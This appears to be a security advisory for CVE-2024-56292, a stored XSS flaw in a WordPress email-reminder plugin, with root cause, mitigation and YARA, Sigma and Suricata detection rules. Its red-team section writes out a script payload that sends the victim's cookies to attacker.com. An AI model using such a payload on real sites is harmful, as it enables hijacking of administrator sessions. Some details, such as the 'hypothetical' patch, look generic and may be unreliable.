CVE-2024-56292

Executive Summary

CVE-2024-56292 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Email Reminders by Wpdevelop, affecting versions up to and including 2.0.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with low privileges (e.g., subscriber) to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must visit the affected page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authentication and user interaction, but stored XSS can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability exists in the Email Reminders plugin, which allows users to create and manage email reminders. The plugin fails to sanitize or escape user-supplied input when rendering reminder messages or settings on the admin dashboard. An attacker with subscriber-level access can inject malicious JavaScript into fields such as reminder titles, descriptions, or custom messages. When an administrator or other user views the affected page, the script executes in their browser context.

Root Cause: The plugin uses echo or print functions without proper escaping (e.g., esc_html(), esc_attr(), or wp_kses()) when outputting user input.

Attack Flow:

1. Attacker logs in as a subscriber.
2. Attacker creates a new email reminder with a payload in the title field: <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. Administrator visits the Email Reminders settings page.
5. The payload executes, potentially stealing cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.5):

// In a template or admin page
echo $reminder_title; // Unsanitized output

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $reminder_title );

The plugin should use WordPress escaping functions like esc_html(), esc_attr(), or wp_kses() to neutralize HTML and JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Email Reminders plugin <= 2.0.5
• Valid user account with subscriber role or higher

Exploit Steps:

1. Log in as a subscriber.
2. Navigate to Email Reminders → Add New.
3. In the "Reminder Title" field, enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the reminder.
5. Wait for an administrator to view the reminders list.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual reminder creation by low-privilege users.
• Look for <script> tags or event handlers in reminder fields.

Hardening:

• Apply input validation and output escaping.
• Restrict plugin usage to trusted roles only.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie= parameter.
• Host: Presence of <script> tags in the wp_postmeta or custom plugin tables.
• Logs: WordPress audit logs showing creation of reminders by unexpected users.

Detection Engineering

YARA Rule

rule CVE_2024_56292_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Reminders plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56292"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Email Reminders Plugin
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1e2f3a4b5c
status: experimental
description: Detects creation of reminders with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for reminder creation
        Payload|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in reminders (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56292 Stored XSS Exfiltration"; flow:to_server,established; content:"cookie="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Email Reminders plugin until a patch is released.
2. Review and remove any suspicious reminders created by untrusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Upgrade to a patched version once released.
• Conduct a security audit of all WordPress plugins.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Restrict plugin access to administrators only via role management.

Valters IT